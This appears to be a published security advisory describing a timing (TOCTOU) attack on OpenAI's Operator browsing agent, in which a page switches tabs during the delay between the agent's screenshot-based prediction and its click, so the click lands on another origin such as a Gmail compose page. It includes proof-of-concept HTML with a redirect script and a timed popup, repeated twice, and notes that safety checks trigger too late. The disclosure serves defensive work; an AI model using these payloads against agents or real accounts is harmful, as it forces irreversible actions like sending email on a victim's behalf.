OpenAI Operator - Click on arbitrary origin by TOCTOU attack
HighPublished Aug 18, 2025
## Summary There is a delay between OpenAI Operator’s action prediction based on the screenshot and Operator’s actual action trigger. If timed correctly, an attacker can navigate or switch tabs between the delay, and actual action will be triggered on a wrong origin. While [safety checks](https://platform.openai.com/docs/guides/tools-computer-use#acknowledge-safety-checks) might detect something went wrong, this is too late as action was already triggered on the wrong origin. ## Severity High - This vulnerability allows an attacker to trigger click on arbitrary coordinates on arbitrary origin, which leads to irreversible state-changing action. ## Proof of Concept open\_plz.html ```html <h2>Before accessing the page</h2> <a href=# onclick=go()>Please read terms of accessing this website</a> <script> function go(){ window.open("/click_plz.html"); location.href = "https://mail.google.com/mail/u/0/?fs=1&to=your@email.com&su=hi&body=Malicous%20Email%20Sent!&tf=cm"; } </script> ``` click\_plz.html (change “6000” as required, but 6 seconds seems to work) ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" conte...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Operator Product | all versions | No fix yet |
Details and references
## Summary There is a delay between OpenAI Operator’s action prediction based on the screenshot and Operator’s actual action trigger. If timed correctly, an attacker can navigate or switch tabs between the delay, and actual action will be triggered on a wrong origin. While [safety checks](https://platform.openai.com/docs/guides/tools-computer-use#acknowledge-safety-checks) might detect something went wrong, this is too late as action was already triggered on the wrong origin. ## Severity High - This vulnerability allows an attacker to trigger click on arbitrary coordinates on arbitrary origin, which leads to irreversible state-changing action. ## Proof of Concept open\_plz.html ```html <h2>Before accessing the page</h2> <a href=# onclick=go()>Please read terms of accessing this website</a> <script> function go(){ window.open("/click_plz.html"); location.href = "https://mail.google.com/mail/u/0/?fs=1&to=your@email.com&su=hi&body=Malicous%20Email%20Sent!&tf=cm"; } </script> ``` click\_plz.html (change “6000” as required, but 6 seconds seems to work) ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Centered Promotional Popup</title> <style> /* Basic styling for the page */ body { font-family: 'Inter', Arial, sans-serif; margin: 0; padding: 0; background-color: #e9e9e9; /* Light gray background to see the popup clearly */ display: flex; align-items: center; justify-content: center; min-height: 100vh; /* Ensure body takes full viewport height */ } /* Styling for the promotional popup */ .promotional-popup { position: fixed; /* Fixed position to stay in place */ top: 92%; /* Center vertically */ left: 290px; transform: translate(-50%, -50%); /* Adjust for exact centering */ width: 90%; /* Responsive width */ max-width: 450px; /* Maximum width of the popup */ background-color: #2d3748; /* Darker, more premium background */ color: #f7fafc; /* Light text color for contrast */ padding: 30px; /* Increased padding */ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.4); /* Enhanced shadow for a floating effect */ z-index: 1000; /* Ensures it's on top */ display: none; /* Hidden by default, shown by JavaScript */ box-sizing: border-box; text-align: center; border-radius: 12px; /* Rounded corners */ } .promotional-popup h2 { /* Changed paragraph to a heading for more impact */ margin: 0 0 20px 0; font-size: 22px; /* Larger font for the offer */ font-weight: 600; line-height: 1.4; color: #a0aec0; /* A slightly muted color for the heading text */ } .promotional-popup .highlight { /* Class for highlighting text */ color: #63b3ed; /* A bright blue to highlight the discount */ font-weight: 700; } .promotional-popup .close-button { position: absolute; bottom: 10px; left: 20px; font-size: 28px; font-weight: bold; color: #a0aec0; /* Muted color for the close button */ cursor: pointer; line-height: 1; transition: color 0.2s ease; } .promotional-popup .close-button:hover { color: #f7fafc; /* Brighter color on hover */ } /* Responsive adjustments for smaller screens */ @media (max-width: 480px) { .promotional-popup { padding: 25px; width: 95%; } .promoti
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Sep 82025 | FFmpeg - Heap-buffer-overflow write in jpeg2000dec | High | No fix yet |
| Sep 82025 | ChatGPT Agent - XSS on file://home/oai/redirect.html | Medium | No fix yet |
| Aug 252025 | SQLite: Integer truncation in findOrCreateAggInfoColumn | High | 3.50.2 |
| Aug 152025 | SQLite - Integer Overflow in FTS5 Extension | Medium | 3.50.3 |
| Aug 142025 | tar-fs Link Directory Traversal Vulnerability | Critical | 3.0.9 |
| Jul 312025 | Python Tar Filter Bypass Vulnerability | High7.5 | No fix yet |